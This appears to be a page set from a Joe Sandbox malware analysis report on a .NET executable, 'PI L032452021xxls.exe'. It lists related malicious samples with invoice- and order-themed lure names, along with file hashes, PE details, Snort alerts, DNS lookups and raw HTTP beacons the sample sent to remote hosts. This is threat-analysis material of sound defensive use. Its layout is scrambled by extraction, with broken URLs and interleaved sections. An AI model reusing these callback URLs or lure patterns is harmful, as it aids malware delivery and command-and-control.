Quality standard deviation: 30.6%

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

Time Type Description

09:39:55 API Interceptor 1x Sleep call for process: PI L032452021xxls.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

23.227.38.74 UPDATED e-STATEMENT.exe Get hash malicious Browse  www.natur
alhealthni
che.com/bqt25/?
mZ64L
=cZV8Bf9&4
huP7=ta9IU
juH/jkqTt0
mr95W0Bu3u
0tBN6QHWfn
3pvSR9XCfT
tiwEK7pWKZ
wma7uEInNL
Mp51cv9Xg==

swift_copy_MT103_pdf.exe Get hash malicious Browse  www.palac
edepleasur
e.com/conv/?
nvd8=EZ+
lJ13FGAnW/
5fWc1R3Vk6
oBydKPwZ2k
lJ1USsSuhL
U/F7acIaE/
EE2v23qRSj
2Xg2N&Obn=
5jrtojn8AlOLE

ORDER CONFIRMATION.xlsx Get hash malicious Browse  www.gamem
avn.com/nthe/?-
Z=oN9
0btWhtP&bX
1t=Hx1wKYv
tTf7CicdeF
kRXcRYNbBh
Z7z+rPVWR6
EKx5il05nX
fihUGP/S9j
6KZFO3NwyU
pyg==

Quotation Required Details.exe Get hash malicious Browse  www.knot-tied-
up.com/p4se/?l2
Mdnb=HW5Se
B2beplsiQF
jOushPJVBW
gFlKO8H2xB
mZTtFyLJzS
mLuJGrgc+j
XOTtJCiT2s
mFj&fFQL=6
lZPcVbxGH

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/379351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379351/html/none?idtype=webid
https://view.joesandbox.com/analysis/379323/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379323/html/none?idtype=webid
https://view.joesandbox.com/analysis/379165/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379165/html/none?idtype=webid
https://view.joesandbox.com/analysis/378198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378198/html/none?idtype=webid


INVOICE.exe Get hash malicious Browse  www.natur
alhealthni
che.com/bqt25/?
W8vXg
=ta9IUjuH/
jkqTt0mr95
W0Bu3u0tBN
6QHWfn3pvS
R9XCfTtiwE
K7pWKZwmZX
UHJL2I7Io&
gDH=-ZQ0dx
EX1BWLdn

BORI4x10091021.exe Get hash malicious Browse  www.1ms-s
hop.com/x9r4/?
4hhDJ=
nE9BXwEqXg
3zScUQ3t/V
Tu8zJl+H6j
ItRWMwACM+
4u1nFyTjd9
+P8R2GmXJ0
3Ef798yW&n
0=9r3p

2dnXXZvWi53i69K.exe Get hash malicious Browse  www.girlc
astleshop.
com/outf/?
cB=lCMF+oJ
Y1lgayarpd
ollSRr9kLx
tlVnA8H/0a
nxfYVd2QaG
0pPwNi8HCe
ITW+3nYS69
3eRQ9VA==&
5je4=K2JXl
fgHXLWX1v_

DLT_85620000107.exe Get hash malicious Browse  www.bloom
bathbombs.
com/wdhc/?
Xxlpd=Es2R
L7ERFORcK7
/ORN1lcxAy
qHM3gPvC7j
HaLqlOwhAm
x55F1GI/v2
+ZITGyBMe8
n3Ft&t2MT=
bnZP1

famz6.doc Get hash malicious Browse  www.thebe
autystopsh
op.com/fzsg/?
DL3=SvM
LQz2XqF8DGd-
P&n0Gh7V
m=AvlrhsD4
9AGELPieEp
2AfrRxPHtZ
KrJLP5b6ki
e0F37WVKMD
KAZRZDUX3w
0s8yxQ7unfdA==

RFQ.Order 0128-44.exe Get hash malicious Browse  www.naode
skin.com/5afm/?
0FQ0v
vt=KvWT6Wq
jS7x6E5Gwp
6F9R8EFuVh
dPJz/Pd8C0
9BEMn2H0ab
MUNkmfkLpQ
XjiMYcW6HL
g&nP=PtUdq8l

Swift $21,500.exe Get hash malicious Browse  www.lusht
hingz.com/ssee/?
r8JdTlb=53xLUB
QPORqA1ypN
RBpk7kI+WW
7Aobf0anev
/F9M5UtU2S
wriWPRTdlR
E4xzY+8vZd
vK&4hf=4hZ
0dfsHyrN4

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/377852/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377852/html/none?idtype=webid
https://view.joesandbox.com/analysis/377665/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377665/html/none?idtype=webid
https://view.joesandbox.com/analysis/377544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377544/html/none?idtype=webid
https://view.joesandbox.com/analysis/376140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376140/html/none?idtype=webid
https://view.joesandbox.com/analysis/376026/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376026/html/none?idtype=webid
https://view.joesandbox.com/analysis/375886/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375886/html/none?idtype=webid
https://view.joesandbox.com/analysis/375488/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375488/html/none?idtype=webid


ALL REVISED_INVOICE AND PACKING LIST FOR 
SHIPMENT Email no. M1053 dd. Aug 26, 2021.exe

Get hash malicious Browse  www.sknwt
r.com/uytf/?
OFQPcTtx
=M/gO5Yy6n
coNjDSo4pY
xOTzSG6+nx
jmHsBjOI5J
T84t4h033j
rqF/p7pPd3
ShDRRhOaA&
WzrxP=7nsx
LJGh4

 Voucher.exe Get hash malicious Browse  www.sknwt
r.com/uytf/?
lT1h2=M/
gO5Yy6ncoN
jDSo4pYxOT
zSG6+nxjmH
sBjOI5JT84
t4h033jrqF
/p7pPeXCui
Bp/rzH&Vj=
4hCdVXcX

Purchase Order.exe Get hash malicious Browse  www.oldsp
ortapparel
.com/bp39/?
3frL=BLna
oAfDA5DbPf
h00X2LxXQG
h6VrvQ6zaZ
DV5wHSx+6L
BdCA84U3qV
sbVLkkYlkm
nitQ&hP=y4
8t2bX

Quotation.exe Get hash malicious Browse  www.blank
edlabel.co
m/bqt25/?s
2MX98=YpqO
XLU6ToBL7i
RIg7c6Qfs0
/47y2BcXnQ
tz+Z98Zgd4
dGABABTUOO
9dRfvN1/cY
8PaB&2dcp=
OfeDDbxX

Purchase Order.exe Get hash malicious Browse  www.badbe
ebox.com/owui/?
cB64=
zPNRK7QaIR
rvu08viHG+
C5+0SSwHKr
6oUogMRKGg
YwFS1MmEBJ
U5Q+3eEVng
FH6+NDQj&T
bTlBt=9rdp0R

YAxux77Ccj.exe Get hash malicious Browse  www.gogre
enguardian
s.com/bckt/?
B0=t/RMj
M9LEEeCLzY
jJsmNpdR0E
ofmutQmpXT
E1tIAoaZ66
uwHtR8MXCi
Sw8yrREysS
JJV&p6t4DF
=PjxX3JzHXR_

Novi popis narudzbenica nalazi se u privitku.exe Get hash malicious Browse  www.panache-
rose.com/3nop/?
8p=nDveIzuWf
quLQcFvnex
KgOpVu/6m8
9DsdcMvYWa
icLM/ntU27
q8ggEnjXgr
HEJlZbhpWF
wEZow==&r2
JX4X=JN6p7
hCprbg8q

Match Associated Sample Name / URL SHA 256 Detection Link Context

Copyright Joe Security LLC 2021 Page 15 of 25

https://view.joesandbox.com/analysis/375448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375448/html/none?idtype=webid
https://view.joesandbox.com/analysis/374895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374895/html/none?idtype=webid
https://view.joesandbox.com/analysis/374832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374832/html/none?idtype=webid
https://view.joesandbox.com/analysis/374793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374793/html/none?idtype=webid
https://view.joesandbox.com/analysis/374462/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374462/html/none?idtype=webid
https://view.joesandbox.com/analysis/374010/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374010/html/none?idtype=webid
https://view.joesandbox.com/analysis/373785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373785/html/none?idtype=webid


Proforma Invoice.pdf.exe Get hash malicious Browse  www.situa
tionslayer
.com/gm9w/?
sPJpgz=FB
Zx&5j3hLd_
=IXgCdZZ3s
OrOSRw75Ek
WTwl8ZjxWz
RGyqI4lesK
Sg3JheeX4H
8a6EO9/pFY
6j824H5vVP
JD8kw==

RFQ_PO_009890_pdf.exe Get hash malicious Browse  www.mamba
zonee.com/
a6hg/?Gz=V
X33mfZMgZA
wMHhmx6/qt
zxSoTo7y4y
EDVWvkahGv
/aVo1L6Gd2
NzoA4meLyx
X9zeoKCdno
/Ew==&-ZsL
G=3ff8xpG0
DPWtZdZ

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

shops.myshopify.com UPDATED e-STATEMENT.exe Get hash malicious Browse 23.227.38.74

swift_copy_MT103_pdf.exe Get hash malicious Browse 23.227.38.74

ORDER CONFIRMATION.xlsx Get hash malicious Browse 23.227.38.74

Quotation Required Details.exe Get hash malicious Browse 23.227.38.74

INVOICE.exe Get hash malicious Browse 23.227.38.74

BORI4x10091021.exe Get hash malicious Browse 23.227.38.74

2dnXXZvWi53i69K.exe Get hash malicious Browse 23.227.38.74

DLT_85620000107.exe Get hash malicious Browse 23.227.38.74

famz6.doc Get hash malicious Browse 23.227.38.74

RFQ.Order 0128-44.exe Get hash malicious Browse 23.227.38.74

Swift $21,500.exe Get hash malicious Browse 23.227.38.74

ALL REVISED_INVOICE AND PACKING LIST FOR 
SHIPMENT Email no. M1053 dd. Aug 26, 2021.exe

Get hash malicious Browse 23.227.38.74

 Voucher.exe Get hash malicious Browse 23.227.38.74

Purchase Order.exe Get hash malicious Browse 23.227.38.74

Quotation.exe Get hash malicious Browse 23.227.38.74

Purchase Order.exe Get hash malicious Browse 23.227.38.74

Production Inquiry.xlsx Get hash malicious Browse 23.227.38.74

YAxux77Ccj.exe Get hash malicious Browse 23.227.38.74

Novi popis narudzbenica nalazi se u privitku.exe Get hash malicious Browse 23.227.38.74

Proforma Invoice.pdf.exe Get hash malicious Browse 23.227.38.74

Match Associated Sample Name / URL SHA 256 Detection Link Context

CLOUDFLARENETUS scan files 15-9-21.exe Get hash malicious Browse 172.67.196.84

AP Remittance for michelle.looi@globalfoundries.com .html Get hash malicious Browse 104.18.11.207

86jLEXtwqR.exe Get hash malicious Browse 162.159.13
4.233

6WtKevhqlg.exe Get hash malicious Browse 162.159.13
4.233

oLn3NAKPzu.exe Get hash malicious Browse 162.159.13
4.233

hd9uHo4dot.exe Get hash malicious Browse 162.159.13
4.233

47U9eIz5bG.exe Get hash malicious Browse 162.159.13
5.233

x13NYP60fd.exe Get hash malicious Browse 162.159.13
0.233

ivR7bfFqYWqLlce.exe Get hash malicious Browse 172.67.188.154

PO7420.exe Get hash malicious Browse 23.227.38.65

#Ud83d#Udd09_ 3pm.html Get hash malicious Browse 104.16.18.94

MktxljHVy8.exe Get hash malicious Browse 104.21.33.32

Domains

ASN
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https://view.joesandbox.com/analysis/373671/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373671/html/none?idtype=webid
https://view.joesandbox.com/analysis/373330/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373330/html/none?idtype=webid
https://view.joesandbox.com/analysis/379351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379351/html/none?idtype=webid
https://view.joesandbox.com/analysis/379323/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379323/html/none?idtype=webid
https://view.joesandbox.com/analysis/379165/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379165/html/none?idtype=webid
https://view.joesandbox.com/analysis/378198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378198/html/none?idtype=webid
https://view.joesandbox.com/analysis/377852/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377852/html/none?idtype=webid
https://view.joesandbox.com/analysis/377665/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377665/html/none?idtype=webid
https://view.joesandbox.com/analysis/377544/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/377544/html/none?idtype=webid
https://view.joesandbox.com/analysis/376140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376140/html/none?idtype=webid
https://view.joesandbox.com/analysis/376026/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/376026/html/none?idtype=webid
https://view.joesandbox.com/analysis/375886/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375886/html/none?idtype=webid
https://view.joesandbox.com/analysis/375488/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375488/html/none?idtype=webid
https://view.joesandbox.com/analysis/375448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375448/html/none?idtype=webid
https://view.joesandbox.com/analysis/374895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374895/html/none?idtype=webid
https://view.joesandbox.com/analysis/374832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374832/html/none?idtype=webid
https://view.joesandbox.com/analysis/374793/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374793/html/none?idtype=webid
https://view.joesandbox.com/analysis/374462/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374462/html/none?idtype=webid
https://view.joesandbox.com/analysis/374056/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374056/html/none?idtype=webid
https://view.joesandbox.com/analysis/374010/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374010/html/none?idtype=webid
https://view.joesandbox.com/analysis/373785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373785/html/none?idtype=webid
https://view.joesandbox.com/analysis/373671/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/373671/html/none?idtype=webid
https://view.joesandbox.com/analysis/379550/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379550/html/none?idtype=webid
https://view.joesandbox.com/analysis/379549/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379549/html/none?idtype=webid
https://view.joesandbox.com/analysis/379534/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379534/html/none?idtype=webid
https://view.joesandbox.com/analysis/379533/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379533/html/none?idtype=webid
https://view.joesandbox.com/analysis/379532/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379532/html/none?idtype=webid
https://view.joesandbox.com/analysis/379529/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379529/html/none?idtype=webid
https://view.joesandbox.com/analysis/379528/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379528/html/none?idtype=webid
https://view.joesandbox.com/analysis/379521/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379521/html/none?idtype=webid
https://view.joesandbox.com/analysis/379513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379513/html/none?idtype=webid
https://view.joesandbox.com/analysis/379497/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379497/html/none?idtype=webid
https://view.joesandbox.com/analysis/379496/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379496/html/none?idtype=webid
https://view.joesandbox.com/analysis/379490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379490/html/none?idtype=webid


Static File Info

General
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assemb

ly, for MS Windows

Entropy (8bit): 7.483820848946672

TrID: Win32 Executable (generic) Net Framework 
(10011505/4) 49.83%
Win32 Executable (generic) a (10002005/4) 
49.78%
Generic CIL Executable (.NET, Mono, etc.) 
(73296/58) 0.36%
Win16/32 Executable Delphi generic (2074/23) 
0.01%
Generic Win/DOS Executable (2004/3) 0.01%

File name: PI L032452021xxls.exe

File size: 722944

MD5: 73c7fda15888b3b6cc025ce3d5f83161

SHA1: 78b8467853dc5bdba4dd28a8602902fcc210f67c

Elon Musk Club - 024705 .htm Get hash malicious Browse 104.18.11.207

N3sJiiIQAP.exe Get hash malicious Browse 104.21.79.144

4478884ce2cf578bf0a0d2484fc8221e5ff63d7cbc73d5200b
acbd6e2796e017.exe

Get hash malicious Browse 162.159.13
3.233

aZq3gco8Ab.exe Get hash malicious Browse 104.18.7.156

Medical-Engagement-Scale-Questionnaire.msi Get hash malicious Browse 104.16.119.102

XbvAoRKnFm.exe Get hash malicious Browse 104.21.30.211

PO12031.exe Get hash malicious Browse 172.67.188.154

m3maOnY6Uy.exe Get hash malicious Browse 172.67.193.227

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PI L032452021xxls.exe.log

Process: C:\Users\user\Desktop\PI L032452021xxls.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1216

Entropy (8bit): 5.355304211458859

Encrypted: false

SSDEEP: 24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr

MD5: FED34146BF2F2FA59DCF8702FCC8232E

SHA1: B03BFEA175989D989850CF06FE5E7BBF56EAA00A

SHA-256: 123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C

SHA-512: 1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178F
F6

Malicious: true

Reputation: high, very likely benign file

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.
0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.
ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyT
oken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.C
onfiguration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\
8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:
\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/379479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379479/html/none?idtype=webid
https://view.joesandbox.com/analysis/379476/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379476/html/none?idtype=webid
https://view.joesandbox.com/analysis/379468/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379468/html/none?idtype=webid
https://view.joesandbox.com/analysis/379429/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379429/html/none?idtype=webid
https://view.joesandbox.com/analysis/379428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379428/html/none?idtype=webid
https://view.joesandbox.com/analysis/379423/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379423/html/none?idtype=webid
https://view.joesandbox.com/analysis/379414/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379414/html/none?idtype=webid
https://view.joesandbox.com/analysis/379409/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379409/html/none?idtype=webid


SHA256: 69394a249833f97289151fa8334f32e0b0467ce4ecb164b
0706784fb836136a6

SHA512: dbb943a00e2c24dc0926f36b81409d28789a10d20b8e40
43b2545eff1daa74448bc324ada5376e582757ce3db9160
42747b7939648d8ed102fe2be305ffe872a

SSDEEP: 12288:2UWHCM2K4CtI/yzQs2TaIpImC+VkiQ2n75/pIo3
270cztgbcoN+1GrI:203CSMIpIPkt7NKo3UztgbzI

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.......PE..L...
X.Aa..............0......n........... ........@.. .......................`.......
.....@................................

General

File Icon

Icon Hash: f1f0f4d0eecccc71

Snort IDS Alerts

General
Entrypoint: 0x4ab6ae

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x61419258 [Wed Sep 15 06:27:36 2021 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x2000 0xa96b4 0xa9800 False 0.82795791851 data 7.55314321358 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rsrc 0xac000 0x6b78 0x6c00 False 0.442563657407 data 5.09054449888 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0xb4000 0xc 0x200 False 0.044921875 data 0.0980041756627 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABL
E, IMAGE_SCN_MEM_READ

Network Behavior

Static PE Info

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos
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Network Port Distribution

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

09/15/21-
09:41:30.075273

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49818 99.83.154.118 192.168.2.6

09/15/21-
09:41:50.538756

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49819 23.227.38.74 192.168.2.6

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Sep 15, 2021 09:41:29.832505941 CEST 192.168.2.6 8.8.8.8 0xa013 Standard query 
(0)

www.vdvppt.club A (IP address) IN (0x0001)

Sep 15, 2021 09:41:50.394893885 CEST 192.168.2.6 8.8.8.8 0x613c Standard query 
(0)

www.karnez.net A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Sep 15, 2021 
09:41:29.887106895 
CEST

8.8.8.8 192.168.2.6 0xa013 No error (0) www.vdvppt.club 99.83.154.118 A (IP address) IN (0x0001)

Sep 15, 2021 
09:41:50.468105078 
CEST

8.8.8.8 192.168.2.6 0x613c No error (0) www.karnez.net shops.myshopify.com CNAME 
(Canonical 
name)

IN (0x0001)

Sep 15, 2021 
09:41:50.468105078 
CEST

8.8.8.8 192.168.2.6 0x613c No error (0) shops.mysh
opify.com

23.227.38.74 A (IP address) IN (0x0001)

            
www.vdvppt.club

            
www.karnez.net

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.6 49818 99.83.154.118 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Sep 15, 2021 
09:41:29.915740967 CEST

5480 OUT GET /ergs/?rt=jBPLMP3h1LcdC&J8uTkT=JWbjbWIzi5Xd8qR/4tQdqrKkFdlvhz2KwPZGVEcCMD5MfsK3CM+df9z
TKLP63o3kNg3XOCoErQ== HTTP/1.1
Host: www.vdvppt.club
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Sep 15, 2021 
09:41:30.075273037 CEST

5480 IN HTTP/1.1 403 Forbidden
Date: Wed, 15 Sep 2021 07:41:30 GMT
Content-Type: text/html
Content-Length: 146
Connection: close
Server: nginx
Vary: Accept-Encoding
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 
78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html>

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets
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Code Manipulations

Statistics

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.6 49819 23.227.38.74 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Sep 15, 2021 
09:41:50.489600897 CEST

5482 OUT GET /ergs/?J8uTkT=c9bkYQKJ+lNI6VVZ5eI1zueoz+82ajOViy0Ll3ZdIgo7PyasuomRPuIVCCVSa7haztcFmZ8C
Sw==&rt=jBPLMP3h1LcdC HTTP/1.1
Host: www.karnez.net
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Sep 15, 2021 
09:41:50.538755894 CEST

5483 IN HTTP/1.1 403 Forbidden
Date: Wed, 15 Sep 2021 07:41:50 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
X-Sorting-Hat-PodId: 191
X-Sorting-Hat-ShopId: 26798489792
X-Request-ID: 52ed9677-9dcc-4ed6-847a-c204774b908d
X-XSS-Protection: 1; mode=block
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-Permitted-Cross-Domain-Policies: none
X-Dc: gcp-europe-west1
CF-Cache-Status: DYNAMIC
Server: cloudflare
CF-RAY: 68f037069ae042fd-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 
20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 
72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 
20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 
2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 7
4 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 
63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 
66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 
3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 
68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 
31 70 78 20 73 6f 6c 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 
61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6c 
6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 
6c 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 
67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65 
3a 31 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35 
72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 
30 76 68 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 
Data Ascii: 141d<!DOCTYPE html><html lang="en"><head>    <meta charset="utf-8" />    <meta name="referrer" con
tent="never" />    <title>Access denied</title>    <style type="text/css">        *{box-sizing:border-box;margin:0;paddi
